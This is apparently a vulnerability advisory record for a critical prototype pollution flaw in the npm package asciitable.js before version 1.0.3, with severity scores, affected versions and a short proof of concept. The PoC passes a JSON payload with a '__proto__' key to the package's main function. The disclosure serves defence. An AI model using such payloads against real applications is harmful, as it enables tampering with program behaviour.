GHSA-5pxj-mhwj-x5gv

Suggest an improvement
Source
https://github.com/advisories/GHSA-5pxj-mhwj-x5gv
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/04/GHSA-5pxj-mhwj-x5gv/GHSA-5pxj-mhwj-x5gv.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-5pxj-mhwj-x5gv
Aliases
Published
2021-04-13T15:24:59Z
Modified
2025-01-14T08:57:02.471175Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Prototype Pollution in asciitable.js
Details

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.

PoC

var a = require("asciitable.js"); 
var b = JSON.parse('{"__proto__":{"test":123}}'); 
a({},b); 
console.log({}.test)
Database specific
{
    "nvd_published_at": "2021-01-04T12:15:00Z",
    "cwe_ids": [
        "CWE-400"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-06T23:32:45Z"
}
References

Affected packages

npm / asciitable.js

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.0.3